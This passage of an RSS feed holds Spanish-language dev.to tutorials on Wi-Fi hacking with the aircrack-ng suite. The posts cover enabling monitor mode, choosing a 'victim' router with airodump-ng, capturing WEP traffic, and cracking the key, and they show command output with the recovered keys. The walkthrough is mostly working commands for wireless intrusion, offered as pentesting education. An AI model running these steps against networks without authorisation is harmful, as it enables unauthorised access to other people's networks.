Reading packets, please wait...

                                 Aircrack-ng 1.2 rc4

      [00:00:09] 6232/9822769 keys tested (634.98 k/s) 

      Time left: 4 hours, 18 minutes, 3 seconds                  0.06%

                           KEY FOUND! [ 19721972 ]


      Master Key     : FD 87 8D EA 6D 83 8C B7 91 84 77 EA BE FE 17 53 
                       E6 EA 82 CC 03 A8 35 DB 7D 90 4A A7 11 EC AE 43 

      Transient Key  : 78 64 90 59 B8 3A 5F 10 00 0E 25 84 C4 EB 51 55 
                       D6 C1 F3 85 9E F8 E7 ED 7D 23 DC 47 28 67 7F 04 
                       3A 71 CE 5C 86 FB 19 B1 D5 4A 32 AD 5D 62 24 DF 
                       E7 0C D5 BB 74 DA 39 DA FD 8F 37 FF 16 53 77 BD 

      EAPOL HMAC     : A6 A7 F5 44 1E DE 57 6E 8D 06 01 D3 34 F6 D7 7B 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Y luego de esperar un momento ya tenemos nuestra contraseña:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;KEY FOUND! [ 19721972 ]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>wifi</category>
      <category>wireless</category>
      <category>pentesting</category>
      <category>hacking</category>
    </item>
    <item>
      <title>Hacking Wi-Fi 2: Introducción a airodump-ng y crackeos a WEP</title>
      <dc:creator>Vay3t</dc:creator>
      <pubDate>Sat, 12 Aug 2023 18:00:00 +0000</pubDate>
      <link>https://dev.to/vay3t/hacking-wi-fi-2-introduccion-a-airodump-ng-y-crackeos-a-wep-3e80</link>
      <guid>https://dev.to/vay3t/hacking-wi-fi-2-introduccion-a-airodump-ng-y-crackeos-a-wep-3e80</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--b29pj-7m--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uaf6ex1eptjc226scvuy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--b29pj-7m--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uaf6ex1eptjc226scvuy.png" alt="Image description" width="226" height="110"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Uso de &lt;code&gt;airodump-ng&lt;/code&gt; y crackeando contraseñas &lt;code&gt;WEP&lt;/code&gt; con &lt;code&gt;aircrack-ng&lt;/code&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  ¿Que es WEP?
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;Wired Equivalent Privacy&lt;/code&gt;: Data del año 1999, fue el primer tipo de contraseña que se fabricó para los routers Wifi, por lo tanto, todos los dispositivos son capaces de establecer contraseñas tipo &lt;code&gt;WEP&lt;/code&gt;. Pero en el 2001 criptógrafos descubrieron como romperlo en pocos minutos. La estructura de la contraseña tipo &lt;code&gt;WEP&lt;/code&gt; era hexadecimal, es decir, del 0 al 9 y de la A hasta la F, donde una contraseña de 64bits puede tener hasta 10 caracteres y una contraseña de 128bits puede tener hasta 26 caracteres. Actualmente es la más fácil de crackear, pero también la más escasa por ser la más vulnerable.&lt;/p&gt;

&lt;h1&gt;
  
  
  Crackeando WEP
&lt;/h1&gt;

&lt;p&gt;El crackeo de la &lt;code&gt;WEP&lt;/code&gt; consta de 4 pasos, el primero es colocar la tarjeta en modo monitor, el segundo es seleccionar un router víctima con clientes conectados, y la tercera es de capturar los paquetes de ese router, y el cuarto es crackear la contraseña en base a lo capturado.&lt;/p&gt;

&lt;h2&gt;
  
  
  Colocando la tarjeta en modo monitor
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;airmon-ng start wlan1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Seleccionando víctima
&lt;/h2&gt;

&lt;p&gt;Cuando usamos el siguiente comando &lt;code&gt;airodump-ng wlan1mon&lt;/code&gt; lo que hacemos es usar la tarjeta en modo monitor para poder identificar las redes Wifi existentes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@vay3t:~# airodump-ng wlan1mon

 CH  2 ][ Elapsed: 0 s ][ 2017-10-30 17:54                                         

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 C0:56:27:DD:4F:63  -33        2        0    0   6  54   WEP  WEP         c1sc0
 C0:05:C2:C2:04:B1  -71        2        0    0   7  54e. WPA2 CCMP   PSK  Movistar

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 C0:56:27:DD:4F:63  30:A8:DB:F1:66:82  -23    0 - 1      0        6  
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ahora necesitamos comprender la información que está ahí&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;CH 2 ]&lt;/code&gt;: Representa el canal actual de la tarjeta, si no se especifica esta cambia a cada pocos segundos.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;[ Elapsed: 0 s ]&lt;/code&gt;: Tiempo transcurrido desde que se usó el comando&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;[ 2017-10-30 17:54&lt;/code&gt;: Fecha y hora actual&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;PWR&lt;/code&gt; La potencia que nos llega del router en dbm&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;#Data&lt;/code&gt;: Cantidad de datos capturados&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;#/s&lt;/code&gt;: Cantidad de datos por segundo&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;CH&lt;/code&gt;: Canal actual del router&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ENC&lt;/code&gt;: Sistema de cifrado del router&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ESSID&lt;/code&gt;: Nombre del router&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;STATION&lt;/code&gt;: MAC del cliente, en caso de que en &lt;code&gt;BSSID&lt;/code&gt; salga una MAC, significa de que el cliente esta conectado a ese router, en caso contrario si sale (&lt;code&gt;not associated&lt;/code&gt;) significa que el cliente no está asociado a ningún router.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ahora nos damos cuenta de que el router &lt;code&gt;c1sc0&lt;/code&gt; tiene &lt;code&gt;ENC&lt;/code&gt; &lt;code&gt;WEP&lt;/code&gt; lo que significa que nos interesa.&lt;/p&gt;

&lt;h2&gt;
  
  
  Capturando paquetes
&lt;/h2&gt;

&lt;p&gt;Ya que hemos seleccionado nuestra víctima tenemos que capturar el &lt;code&gt;#Data&lt;/code&gt; para poder posteriormente crackear la contraseña, para eso usamos el comando usado para poder seleccionar el &lt;code&gt;BSSID&lt;/code&gt; y el &lt;code&gt;CH&lt;/code&gt; para luego usar &lt;code&gt;-w&lt;/code&gt; y así guardarlo con el nombre out. &lt;code&gt;airodump-ng&lt;/code&gt; guardara varios archivos con nombre &lt;code&gt;out-01.*&lt;/code&gt; Tenemos que esperar hasta tener al menos unos 5000 de &lt;code&gt;#Data&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@vay3t:~# airodump-ng wlan1mon --bssid C0:56:27:DD:4F:63 --channel 6 -w out
 CH  6 ][ Elapsed: 5 mins ][ 2017-10-30 18:04

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 C0:56:27:DD:4F:63  -37  90     3213        0    0   6  54   WEP  WEP    OPN  c1sc0

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 C0:56:27:DD:4F:63  30:A8:DB:F1:66:82  -23   54 - 1      0    28495  c1sc0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Crackeando con aircrack-ng
&lt;/h1&gt;

&lt;p&gt;Luego de haber capturado unos cuantos #Data usaremos &lt;code&gt;aircrack-ng&lt;/code&gt; para poder crackear la contraseña, para eso seleccionamos el archivo guardado por &lt;code&gt;airodump-ng&lt;/code&gt;. El archivo que nos interesa es &lt;code&gt;out-01.cap&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@vay3t:~# aircrack-ng out-01.cap
Opening out-01.cap
Read 11063 packets.

   #  BSSID              ESSID                     Encryption

   1  C0:56:27:DD:4F:63  c1sc0                     WEP (4036 IVs)

Choosing first network as target.

Opening out-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 4036 ivs.


         Aircrack-ng 1.2 rc4


     [00:00:47] Tested 6553601 keys (got 5035 IVs)

   KB    depth   byte(vote)
    0    0/  1   97(8704) FE(8448) 23(7936) 21(7680) C7(7680) 
    1    0/  1   68(9216) 77(8448) 05(8192) C8(8192) 1E(7680) 
    2    0/  1   29(8960) 4A(8704) ED(8448) 7A(8192) 0F(7936) 
    3    0/  1   A5(8192) AB(7680) FC(7680) 64(7424) 7F(7424) 
    4    0/  1   29(8192) 6A(7936) C5(7936) C1(7424) DF(7424) 
    5    0/  1   E2(8960) 8C(8448) 04(7936) A6(7936) 1C(7680) 
    6    0/  1   CA(7680) 3D(7424) 57(7424) AA(7424) 19(7168) 
    7    0/  2   DB(8192) FA(8192) 98(7936) EF(7936) 1B(7680) 
    8    0/  8   6E(8448) 75(8192) FA(8192) F1(7680) 01(7424) 
    9    0/  1   C9(8448) 78(8192) 0D(7680) 91(7424) A7(7424) 
   10    0/  1   78(7936) DD(7680) F3(7680) 6A(7424) 3E(7168) 
   11    0/  1   F7(8192) 2C(7936) 06(7424) 0A(7424) 83(7424) 
   12    0/ 12   33(7980) BE(7616) B4(7396) AD(7320) AA(7212) 

         KEY FOUND! [ 64:64:64:64:64 ] (ASCII: ddddd )
  Decrypted correctly: 100%
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Luego de esperar ya tenemos nuestra contraseña:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;KEY FOUND! [ 64:64:64:64:64 ]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>wifi</category>
      <category>wireless</category>
      <category>pentesting</category>
      <category>hacking</category>
    </item>
    <item>
      <title>Hacking Wi-Fi 1: Conociendo aircrack-ng y el modo monitor</title>
      <dc:creator>Vay3t</dc:creator>
      <pubDate>Sun, 06 Aug 2023 01:37:45 +0000</pubDate>
      <link>https://dev.to/vay3t/hacking-wi-fi-1-conociendo-aircrack-ng-y-el-modo-monitor-24hg</link>
      <guid>https://dev.to/vay3t/hacking-wi-fi-1-conociendo-aircrack-ng-y-el-modo-monitor-24hg</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Kew3uCmy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qnjwdvhp520llmfkbw3t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Kew3uCmy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qnjwdvhp520llmfkbw3t.png" alt="Image description" width="226" height="110"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Instalando &lt;code&gt;aircrack-ng&lt;/code&gt; y colocando la tarjeta wifi en modo monitor.&lt;/p&gt;

&lt;h1&gt;
  
  
  ¿Que aircrack-ng?
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;aircrack-ng&lt;/code&gt; es una suite para crackeos de redes wifi, se centra en distintos tipos de ataques a protocolos &lt;code&gt;WEP&lt;/code&gt; y &lt;code&gt;WPA/WPA2&lt;/code&gt;. Para ocupar esta suite necesitamos privilegios de &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Instalando aircrack-ng
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;aircrack-ng
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  ¿Que es airmon-ng?
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;airmon-ng&lt;/code&gt; es una de las herramientas de la suite de &lt;code&gt;aircrack-ng&lt;/code&gt;, sirve para colocar la tarjeta en modo monitor.&lt;/p&gt;

&lt;h2&gt;
  
  
  Modo monitor
&lt;/h2&gt;

&lt;p&gt;(No confundir con modo promiscuo) Usualmente nuestra tarjeta escucha y habla con algún punto de acceso (router), al estar la tarjeta en modo monitor solo escucha a otras tarjetas cuando estas están comunicándose entre si.&lt;/p&gt;

&lt;p&gt;Para poder capturar estos paquetes y poder posteriormente trabajar con estos paquetes, necesitamos identificar nuestra interfaz de red con la que trabajaremos, en mi caso usare una tarjeta de red externa &lt;strong&gt;TL-WN722n v1&lt;/strong&gt; (como ya no se fabrican recomiendo usar el &lt;strong&gt;AWUS036NHA&lt;/strong&gt;) que actualmente es la &lt;code&gt;wlan1&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@vay3t:~# airmon-ng
[sudo] password for francisk0v: 

PHY Interface   Driver      Chipset

phy0    wlan0       iwlwifi     Intel Corporation Wireless 3160 (rev 83)
phy1    wlan1       ath9k_htc   Atheros Communications, Inc. AR9271 802.11n
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ahora usamos el siguiente comando para iniciar el modo monitor, si nos damos cuenta ahora nuestra interfaz de red cambia de nombre a &lt;code&gt;wlan1mon&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@vay3t:~# airmon-ng start wlan1

Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

  PID Name
  792 avahi-daemon
  796 NetworkManager
  808 avahi-daemon
  909 wpa_supplicant
 5869 dhclient

PHY Interface   Driver      Chipset

phy0    wlan0       iwlwifi     Intel Corporation Wireless 3160 (rev 83)
phy1    wlan1       ath9k_htc   Atheros Communications, Inc. AR9271 802.11n

        (mac80211 monitor mode vif enabled for [phy1]wlan1 on [phy1]wlan1mon)
        (mac80211 station mode vif disabled for [phy1]wlan1)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ahora nuestra tarjeta esta lista para trabajar con la suite &lt;code&gt;aircrack-ng&lt;/code&gt; o &lt;code&gt;scapy&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  No veo mi interfaz como wlanX
&lt;/h2&gt;

&lt;p&gt;En caso de ver la interfaz con otro nombre que no sea wlanX te recomiendo usar el siguiente comando y luego reiniciar el equipo para aplicar las configuraciones:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo ln&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; /dev/null /etc/udev/rules.d/80-net-setup-link.rules
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>wifi</category>
      <category>wireless</category>
      <category>pentesting</category>
      <category>hacking</category>
    </item>
  </channel>
</rss>
